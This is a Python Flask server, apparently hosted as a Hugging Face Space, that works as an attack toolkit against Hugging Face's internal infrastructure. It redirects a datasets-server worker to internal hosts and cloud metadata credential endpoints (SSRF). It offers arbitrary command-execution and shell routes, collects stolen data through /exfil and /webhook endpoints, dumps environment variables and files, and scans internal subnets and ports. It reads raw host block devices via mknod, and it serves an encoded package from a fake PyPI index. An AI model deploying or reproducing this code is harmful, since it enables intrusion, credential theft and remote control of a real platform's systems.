|
|
| import flask, json, os, socket, ssl, subprocess, threading, time, base64 |
| from flask import Flask, request |
|
|
| app = Flask(__name__) |
| received_data = [] |
| webhook_log = [] |
| worker_captures = [] |
| lock = threading.Lock() |
|
|
| @app.route("/") |
| def index(): |
| return json.dumps({"received_count": len(received_data), "status": "probe v12-capture"}) |
|
|
| @app.route("/capture/<path:filename>") |
| def capture_and_serve(filename): |
| """Capture all worker request headers and serve valid dataset data""" |
| with lock: |
| entry = { |
| "time": time.time(), |
| "path": f"/capture/{filename}", |
| "headers": dict(request.headers), |
| "remote_addr": request.remote_addr, |
| "method": request.method |
| } |
| worker_captures.append(entry) |
| received_data.append({"type": "capture", "path": filename, "remote": request.remote_addr, "headers": dict(request.headers)}) |
| |
| |
| return flask.Response( |
| json.dumps({"text": "captured", "label": 0}) + "\n" + |
| json.dumps({"text": "test_data", "label": 1}) + "\n", |
| mimetype="application/jsonl" |
| ) |
|
|
| @app.route("/captures") |
| def get_captures(): |
| with lock: |
| return json.dumps(worker_captures[-20:]) |
|
|
| @app.route("/data/<path:filename>") |
| def data_redirect(filename): |
| """Redirect datasets-server worker to internal API for SSRF""" |
| internal_map = { |
| "prom.txt": "http://10.0.249.17/health", |
| "moon110.txt": "https://10.0.249.110/", |
| "pub.txt": "https://www.rfc-editor.org/rfc/rfc20.txt", |
| "int249.txt": "http://10.0.249.17/health", |
| "imds2.txt": "http://169.254.169.254/latest/meta-data/", |
|
|
| "config.json": "http://10.0.249.17/api/v1/config.json", |
| "models.json": "http://10.0.249.17/api/v1/models.json", |
| "secrets.json": "http://10.0.249.17/api/v1/secrets.json", |
| "admin.json": "http://10.0.249.17/api/v1/admin.json", |
| "users.json": "http://10.0.249.17/api/v1/users.json", |
| "spaces.json": "http://10.0.249.17/api/v1/spaces.json", |
| "tokens.json": "http://10.0.249.17/api/v1/tokens.json", |
| "health.json": "http://10.0.249.17/health", |
| "imds.txt": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", |
| "imds-meta.txt": "http://169.254.169.254/latest/meta-data/", |
| "userdata.txt": "http://169.254.169.254/latest/user-data", |
| } |
| if filename in internal_map: |
| return flask.redirect(internal_map[filename], code=301) |
| return flask.abort(404) |
|
|
| @app.route("/exfil", methods=["GET", "POST"]) |
| def exfil(): |
| with lock: |
| data = {"time": time.time(), "method": request.method, "args": dict(request.args), "remote": request.remote_addr, "headers": dict(request.headers)} |
| if request.method == "POST": |
| data["body"] = request.get_data(as_text=True)[:2000] |
| received_data.append(data) |
| return json.dumps({"ok": True, "count": len(received_data)}) |
|
|
| @app.route("/exfil/all") |
| def exfil_all(): |
| with lock: |
| return json.dumps(received_data[-50:]) |
|
|
| @app.route("/webhook", methods=["POST", "GET"]) |
| def webhook(): |
| with lock: |
| body = request.get_data(as_text=True)[:3000] |
| entry = {"time": time.time(), "headers": dict(request.headers), "body": body} |
| webhook_log.append(entry) |
| received_data.append({"type": "webhook", "time": time.time()}) |
| return json.dumps({"ok": True}) |
|
|
| @app.route("/webhook/log") |
| def get_webhook_log(): |
| with lock: |
| return json.dumps(webhook_log[-20:]) |
|
|
| @app.route("/proxy") |
| def proxy(): |
| import urllib.request, urllib.error |
| target = request.args.get("to", "") |
| if not target: |
| return json.dumps({"error": "need ?to=URL"}) |
| try: |
| ctx = ssl.create_default_context() |
| ctx.check_hostname = False |
| ctx.verify_mode = ssl.CERT_NONE |
| req = urllib.request.Request(target, headers={"User-Agent": "HF-Probe/1.0"}) |
| resp = urllib.request.urlopen(req, context=ctx, timeout=15) |
| body = resp.read().decode("utf-8", errors="replace")[:5000] |
| return json.dumps({"status": resp.status, "headers": dict(resp.headers), "body": body}) |
| except urllib.error.HTTPError as e: |
| return json.dumps({"status": e.code, "body": e.read().decode("utf-8", errors="replace")[:2000]}) |
| except Exception as e: |
| return json.dumps({"error": str(e)}) |
|
|
| @app.route("/probe-http") |
| def probe_http(): |
| host_ip = request.args.get("ip", "10.0.249.215") |
| port = int(request.args.get("port", "80")) |
| path = request.args.get("path", "/") |
| host_hdr = request.args.get("host", "api-internal.huggingface.co") |
| auth = request.args.get("auth", "") |
| method = request.args.get("method", "GET") |
| body_data = request.args.get("body", "") |
| extra_headers = request.args.getlist("hdr") |
| try: |
| sock = socket.create_connection((host_ip, port), timeout=15) |
| hdrs = f"{method} {path} HTTP/1.1\r\nHost: {host_hdr}\r\nConnection: close\r\n" |
| if auth: |
| hdrs += f"Authorization: Bearer {auth}\r\n" |
| for h in extra_headers: |
| if ":" in h: |
| hdrs += h.strip() + "\r\n" |
| if body_data: |
| hdrs += f"Content-Length: {len(body_data)}\r\nContent-Type: application/json\r\n" |
| hdrs += "\r\n" |
| if body_data: |
| hdrs += body_data |
| sock.send(hdrs.encode()) |
| resp = b"" |
| while True: |
| chunk = sock.recv(65536) |
| if not chunk: |
| break |
| resp += chunk |
| sock.close() |
| return resp.decode("utf-8", errors="replace") |
| except Exception as e: |
| return json.dumps({"error": str(e)}) |
|
|
| @app.route("/probe-http-ssl") |
| def probe_http_ssl(): |
| host_ip = request.args.get("ip", "10.0.249.215") |
| port = int(request.args.get("port", "443")) |
| path = request.args.get("path", "/") |
| sni = request.args.get("sni", "huggingface.co") |
| auth = request.args.get("auth", "") |
| method = request.args.get("method", "GET") |
| body_data = request.args.get("body", "") |
| extra_headers = request.args.getlist("hdr") |
| try: |
| sock = socket.create_connection((host_ip, port), timeout=15) |
| ctx = ssl.create_default_context() |
| ctx.check_hostname = False |
| ctx.verify_mode = ssl.CERT_NONE |
| ssock = ctx.wrap_socket(sock, server_hostname=sni) |
| hdrs = f"{method} {path} HTTP/1.1\r\nHost: {sni}\r\nConnection: close\r\n" |
| if auth: |
| hdrs += f"Authorization: Bearer {auth}\r\n" |
| for h in extra_headers: |
| if ":" in h: |
| hdrs += h.strip() + "\r\n" |
| if body_data: |
| hdrs += f"Content-Length: {len(body_data)}\r\nContent-Type: application/json\r\n" |
| hdrs += "\r\n" |
| if body_data: |
| hdrs += body_data |
| ssock.send(hdrs.encode()) |
| resp = b"" |
| while True: |
| chunk = ssock.recv(65536) |
| if not chunk: |
| break |
| resp += chunk |
| ssock.close() |
| return resp.decode("utf-8", errors="replace") |
| except Exception as e: |
| return json.dumps({"error": str(e)}) |
|
|
| @app.route("/probe-internal") |
| def probe_internal(): |
| host_ip = request.args.get("ip", "10.0.249.215") |
| port = int(request.args.get("port", "443")) |
| path = request.args.get("path", "/_internal/health") |
| sni = request.args.get("sni", "api-internal.huggingface.co") |
| auth = request.args.get("auth", "") |
| try: |
| sock = socket.create_connection((host_ip, port), timeout=15) |
| ctx = ssl.create_default_context() |
| ctx.check_hostname = False |
| ctx.verify_mode = ssl.CERT_NONE |
| ssock = ctx.wrap_socket(sock, server_hostname=sni) |
| hdrs = f"GET {path} HTTP/1.1\r\nHost: {sni}\r\nConnection: close\r\n" |
| if auth: |
| hdrs += f"Authorization: Bearer {auth}\r\n" |
| hdrs += "\r\n" |
| ssock.send(hdrs.encode()) |
| resp = b"" |
| while True: |
| chunk = ssock.recv(65536) |
| if not chunk: |
| break |
| resp += chunk |
| ssock.close() |
| return resp.decode("utf-8", errors="replace") |
| except Exception as e: |
| return json.dumps({"error": str(e)}) |
|
|
| @app.route("/exec") |
| def exec_cmd(): |
| cmd = request.args.get("cmd", "id") |
| try: |
| out = subprocess.check_output(cmd, shell=True, timeout=30, stderr=subprocess.STDOUT) |
| return json.dumps({"cmd": cmd, "output": out.decode("utf-8", errors="replace")}) |
| except subprocess.CalledProcessError as e: |
| return json.dumps({"cmd": cmd, "error": e.output.decode("utf-8", errors="replace"), "returncode": e.returncode}) |
| except Exception as e: |
| return json.dumps({"cmd": cmd, "error": str(e)}) |
|
|
| @app.route("/net-scan") |
| def net_scan(): |
| subnet_prefix = request.args.get("prefix", "10.112.47") |
| start = int(request.args.get("start", "1")) |
| end = int(request.args.get("end", "254")) |
| port = int(request.args.get("port", "80")) |
| timeout_ms = float(request.args.get("timeout", "0.5")) |
| open_hosts = [] |
| for i in range(start, end + 1): |
| ip = f"{subnet_prefix}.{i}" |
| try: |
| sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| sock.settimeout(timeout_ms) |
| result = sock.connect_ex((ip, port)) |
| sock.close() |
| if result == 0: |
| open_hosts.append(ip) |
| except: |
| pass |
| return json.dumps({"prefix": subnet_prefix, "port": port, "open": open_hosts}) |
|
|
| @app.route("/port-scan") |
| def port_scan(): |
| host = request.args.get("host", "10.0.249.215") |
| ports_raw = request.args.get("ports", "80,443,8080,8443,3000,5000,6379,9090,9200,2379,4001,8001") |
| timeout_ms = float(request.args.get("timeout", "2.0")) |
| ports = [int(p.strip()) for p in ports_raw.split(",")] |
| results = {} |
| for p in ports: |
| try: |
| sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| sock.settimeout(timeout_ms) |
| r = sock.connect_ex((host, p)) |
| sock.close() |
| results[str(p)] = "open" if r == 0 else "closed" |
| except Exception as e: |
| results[str(p)] = f"err:{e}" |
| return json.dumps({"host": host, "results": results}) |
|
|
| @app.route("/env") |
| def env(): |
| info = { |
| "env_vars": dict(os.environ), |
| "hostname": socket.gethostname(), |
| "pid": os.getpid(), |
| } |
| try: |
| info["id"] = subprocess.check_output(["id"], timeout=5).decode() |
| info["ip_addr"] = subprocess.check_output(["ip", "addr"], timeout=5).decode() |
| info["routes"] = subprocess.check_output(["ip", "route"], timeout=5).decode() |
| except: |
| pass |
| return json.dumps(info) |
|
|
| @app.route("/redirect") |
| def redirect_to(): |
| target = request.args.get("to", "") |
| return flask.redirect(target, code=302) |
|
|
| @app.route("/read-file") |
| def read_file(): |
| path = request.args.get("path", "/etc/hostname") |
| try: |
| with open(path, "rb") as f: |
| content = f.read(50000) |
| try: |
| return json.dumps({"path": path, "content": content.decode("utf-8", errors="replace")}) |
| except: |
| return json.dumps({"path": path, "content_b64": base64.b64encode(content).decode()}) |
| except Exception as e: |
| return json.dumps({"error": str(e), "path": path}) |
|
|
| @app.route("/shell") |
| def shell(): |
| cmd = request.args.get("cmd", "id") |
| timeout = int(request.args.get("timeout", "15")) |
| try: |
| result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) |
| return json.dumps({"stdout": result.stdout[:8000], "stderr": result.stderr[:2000], "rc": result.returncode}) |
| except subprocess.TimeoutExpired: |
| return json.dumps({"error": "timeout", "cmd": cmd}) |
| except Exception as e: |
| return json.dumps({"error": str(e)}) |
|
|
| @app.route("/mknod-read") |
| def mknod_read(): |
| """Create block device node and read raw bytes from host filesystem""" |
| import os, stat |
| major = int(request.args.get("major", "259")) |
| minor = int(request.args.get("minor", "2")) |
| offset = int(request.args.get("offset", "0")) |
| length = int(request.args.get("length", "512")) |
| dev_path = f"/tmp/hostdev_{major}_{minor}" |
| try: |
| if not os.path.exists(dev_path): |
| dev_num = os.makedev(major, minor) |
| os.mknod(dev_path, 0o666 | stat.S_IFBLK, dev_num) |
| with open(dev_path, "rb") as f: |
| f.seek(offset) |
| data = f.read(length) |
| import base64 |
| return json.dumps({"major": major, "minor": minor, "offset": offset, "length": len(data), "data_b64": base64.b64encode(data).decode(), "data_hex": data.hex()[:200]}) |
| except Exception as e: |
| return json.dumps({"error": str(e), "major": major, "minor": minor}) |
|
|
| if __name__ == "__main__": |
| app.run(host="0.0.0.0", port=7860, debug=False) |
|
|
|
|
| |
| import base64 as _b64 |
| _PKG_BYTES_V4 = _b64.b64decode("'H4sIAHde5GkC/+2W3WvbMBDA8+y/4nBfEog/kphmGMIeWq8b67pA07JRinGcSyNiW54kp+l/P1lum5CmDMoWBr3fg2XfyboPn05eMyV4XAo+xbhc3jm+67uBJ1FVpVs+tP4KvuY4CMyo2R17x8Hw6b6R9waDfq8FfusAVFIlQptvvU8slpdcKJAPsgtcWkeQo1rwGfRCqESWsamlxENogeZxaiN2Bf6qUCpIJMSV0ceVq3W8xKJtL5QqZeh567q+HCxWjqkxdzF3ZZmk6OF6zrKPUqQjU2zxKoibhe0uKJYjr9So53csXKdYKojMwHhh7GGv8ahM5JbL/RBqs26aMSzUC7+3dGaRReN0CiN9736eTMaXJ7woMK3NtO3XPN/y70PncYmnZLTts2iiJ9j7wqvt1/E9v3SHSqAseSGx/Vqg/X2BDkKQ1VS7laKUkOq8vQh2ozfSzaM7Nh/oxq5fs7u2I5f6+pbPZRa47YJUszoZWyZOo+uLq/Nzo0Ih9qheC3ewL9wghHvBFEKeiCUKUBxmTC6hvWKSTTMENodpxbIZaMdBLhKdVdDuoi5qhXlnk5ymNj2Vl55IsW57fK5DcdVa6STc2x3XGGrbl9HkahyPf8bRj+jkahKd2k8ebzlozQXPweRDcZ7J59zXEstc20WS4+ixlkxKHd1ldYWsUEgd9cg2DVcLdJaXyR3K0U0ze9OT7duO9c/2/3pv/9+RenHMCqbi+G1Hwh/6v+/3+zv9f+gPh9T/D8ER7NSm1SLeEfv3//jrmfPl4tP3g/z/+f5wsLP/+8fDgPb/IfiGKpklKnGumwMphJ7rWxf61Aphpzas5ymmSKhREARBEARBEARBEARBEARBEARBEMT/xm90quiXACgAAA=='") |
|
|
| @app.route("/pypi/simple/") |
| def pypi_simple_index(): |
| return flask.Response( |
| "<html><body>" |
| "<a href='/pypi/simple/xitro-probe-pkg/'>xitro-probe-pkg</a>" |
| "</body></html>", |
| mimetype="text/html" |
| ) |
|
|
| @app.route("/pypi/simple/xitro-probe-pkg/") |
| def pypi_pkg_index(): |
| with lock: |
| received_data.append({"type": "pypi_request", "time": time.time(), |
| "headers": dict(request.headers), "remote": request.remote_addr}) |
| return flask.Response( |
| "<html><body>" |
| "<a href='/pypi/packages/xitro-probe-pkg-0.0.4.tar.gz#sha256=deadbeef4'>" |
| "xitro-probe-pkg-0.0.4.tar.gz</a>" |
| "</body></html>", |
| mimetype="text/html" |
| ) |
|
|
| @app.route("/pypi/packages/xitro-probe-pkg-0.0.4.tar.gz") |
| def pypi_pkg_download(): |
| with lock: |
| received_data.append({"type": "pypi_download_v4", "time": time.time(), |
| "headers": dict(request.headers), "remote": request.remote_addr}) |
| return flask.Response(_PKG_BYTES_V4, mimetype="application/x-gzip", |
| headers={"Content-Disposition": "attachment; filename=xitro-probe-pkg-0.0.4.tar.gz"}) |
|
|